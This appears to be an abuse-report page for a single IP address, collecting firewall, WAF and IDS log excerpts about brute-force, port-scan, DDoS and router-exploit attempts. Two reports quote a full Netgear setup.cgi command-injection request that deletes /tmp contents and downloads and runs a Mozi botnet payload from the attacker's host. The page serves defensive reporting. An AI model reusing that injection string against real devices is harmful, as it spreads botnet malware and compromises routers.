🇺🇸
TPI-Abuse
2026-07-24 13:33:49
(11 hours ago)
(mod_security) mod_security (id:240335) triggered by 223.130.28.118 (118.28.130.223.netplus.co.in): ...
show more
(mod_security) mod_security (id:240335) triggered by 223.130.28.118 (118.28.130.223.netplus.co.in): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Jul 24 09:33:41.111201 2026] [security2:error] [pid 1612835:tid 1612835] [client 223.130.28.118:19837] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 223.130.28.118 (+1 hits since last alert)|thehealthyplaceclayton.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "thehealthyplaceclayton.com"] [uri "/xmlrpc.php"] [unique_id "amNptSYQA86gc5I8hHcvIQAAAAs"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-07-24 10:41:33
(14 hours ago)
(mod_security) mod_security (id:240335) triggered by 223.130.28.118 (118.28.130.223.netplus.co.in): ...
show more
(mod_security) mod_security (id:240335) triggered by 223.130.28.118 (118.28.130.223.netplus.co.in): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Jul 24 06:41:24.696625 2026] [security2:error] [pid 118976:tid 118976] [client 223.130.28.118:19634] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 223.130.28.118 (+1 hits since last alert)|36sovereignchambers.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "36sovereignchambers.com"] [uri "/xmlrpc.php"] [unique_id "amNBVG8nAmjXtXqIFThAoQAAAAE"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇫🇷
dynamix
2026-07-24 10:39:22
(14 hours ago)
WordPress XMLRPC Brute Force Attack
Brute-Force
Web App Attack
🇩🇪
SMARTNET
2026-05-27 06:03:53
(1 month ago)
Aisuru(Mirai variant) DDoS | Incident ID: 1c72ea9a-d634-4668-a8aa-89a786da95ec
DDoS Attack
🇺🇸
gu-alvareza
2023-03-02 08:30:51
(3 years ago)
Dasan.GPON.Remote.Code.Execution
Hacking
Web App Attack
🇿🇦
IrisFlower
2021-04-14 02:46:17
(5 years ago)
Unauthorized connection attempt detected from IP address 223.130.28.118 to port 8080 [J]
Port Scan
Hacking
🇦🇺
ozisp.com.au
2021-04-13 00:55:27
(5 years ago)
IN_MAINT-IN-IRINN_<177>1618289726 [1:2025883:2] ET EXPLOIT MVPower DVR Shell UCE [Classification: At ...
show more
IN_MAINT-IN-IRINN_<177>1618289726 [1:2025883:2] ET EXPLOIT MVPower DVR Shell UCE [Classification: Attempted Administrator Privilege Gain] [Priority: 1]: <seconione-ens192-1> {TCP} 223.130.28.118:35419
show less
Hacking
🇬🇧
Joe-Mark
2021-04-12 10:24:12
(5 years ago)
Blocked by Sophos UTM Network Protection / proto=6 . srcport=44691 . dstport=81 . (2331)
Hacking
Brute-Force
🇲🇩
iHost
2021-04-11 08:28:13
(5 years ago)
*Port Scan* detected from 223.130.28.118 (IN/India/-). 3 hits in the last 50 seconds; Ports: *; Dire ...
show more
*Port Scan* detected from 223.130.28.118 (IN/India/-). 3 hits in the last 50 seconds; Ports: *; Direction: in; Trigger: PS_LIMIT; Logs: Apr 11 15:28:01 web1 kernel: Firewall: *TCP_IN Blocked* IN=ens2f0 OUT= MAC=ac:16:2d:99:fc:fc:00:08:e3:ff:fc:28:08:00 SRC=223.130.28.118 DST=31.131.1.77 LEN=60 TOS=0x00 PREC=0x20 TTL=46 ID=6081 DF PROTO=TCP SPT=24681 DPT=8443 WINDOW=5840 RES=0x00 SYN URGP=0
Apr 11 15:28:04 web1 kernel: Firewall: *TCP_IN Blocked* IN=ens2f0 OUT= MAC=ac:16:2d:99:fc:fc:00:08:e3:ff:fc:28:08:00 SRC=223.130.28.118 DST=31.131.1.77 LEN=60 TOS=0x00 PREC=0x20 TTL=46 ID=6082 DF PROTO=TCP SPT=24681 DPT=8443 WINDOW=5840 RES=0x00 SYN URGP=0
Apr 11 15:28:10 web1 kernel: Firewall: *TCP_IN Blocked* IN=ens2f0 OUT= MAC=ac:16:2d:99:fc:fc:00:08:e3:ff:fc:28:08:00 SRC=223.130.28.118 DST=31.131.1.77 LEN=60 TOS=0x00 PREC=0x20 TTL=46 ID=6083 DF PROTO=TCP SPT=24681 DPT=8443 WINDOW=5840 RES=0x00 SYN URGP=0
show less
Port Scan
🇮🇪
RoboSOC
2021-04-02 21:52:22
(5 years ago)
Netgear DGN Device Remote Command Execution Vulnerability , PTR: 118.28.130.223.netplus.co.in.
Hacking
🇯🇵
IrisFlower
2021-03-30 10:25:22
(5 years ago)
Unauthorized connection attempt detected from IP address 223.130.28.118 to port 8080 [T]
Port Scan
🇹🇼
kk_it_man
2021-03-25 21:53:10
(5 years ago)
ET EXPLOIT HackingTrio UA (Hello, World)
ET SCAN Mirai Variant User-Agent (Inbound)
ET WEB_SERVE ...
show more
ET EXPLOIT HackingTrio UA (Hello, World)
ET SCAN Mirai Variant User-Agent (Inbound)
ET WEB_SERVER 401TRG Generic Webshell Request - POST with wget in body
ET WEB_SERVER WebShell Generic - wget http - POST
show less
Port Scan
🇺🇸
NXTwoThou
2021-03-25 11:43:01
(5 years ago)
/setup.cgi%3Fnext_file=netgear.cfg%26todo=syscmd%26cmd=rm+-rf+/tmp/*;wget+http://223.130.28.118:4191 ...
show more
/setup.cgi%3Fnext_file=netgear.cfg%26todo=syscmd%26cmd=rm+-rf+/tmp/*;wget+http://223.130.28.118:41915/Mozi.m+-O+/tmp/netgear;sh+netgear%26curpath=/%26currentsetting.htm=1
show less
Web App Attack
🇺🇸
NXTwoThou
2021-03-19 18:50:50
(5 years ago)
/setup.cgi%3Fnext_file=netgear.cfg%26todo=syscmd%26cmd=rm+-rf+/tmp/*;wget+http://223.130.28.118:4768 ...
show more
/setup.cgi%3Fnext_file=netgear.cfg%26todo=syscmd%26cmd=rm+-rf+/tmp/*;wget+http://223.130.28.118:47683/Mozi.m+-O+/tmp/netgear;sh+netgear%26curpath=/%26currentsetting.htm=1
show less
Web App Attack
🇮🇪
RoboSOC
2021-03-03 03:09:27
(5 years ago)
D-Link DSL Soap Authorization Remote Command Execution Vulnerability, PTR: 118.28.130.223.netplus.co ...
show more
D-Link DSL Soap Authorization Remote Command Execution Vulnerability, PTR: 118.28.130.223.netplus.co.in.
show less
Hacking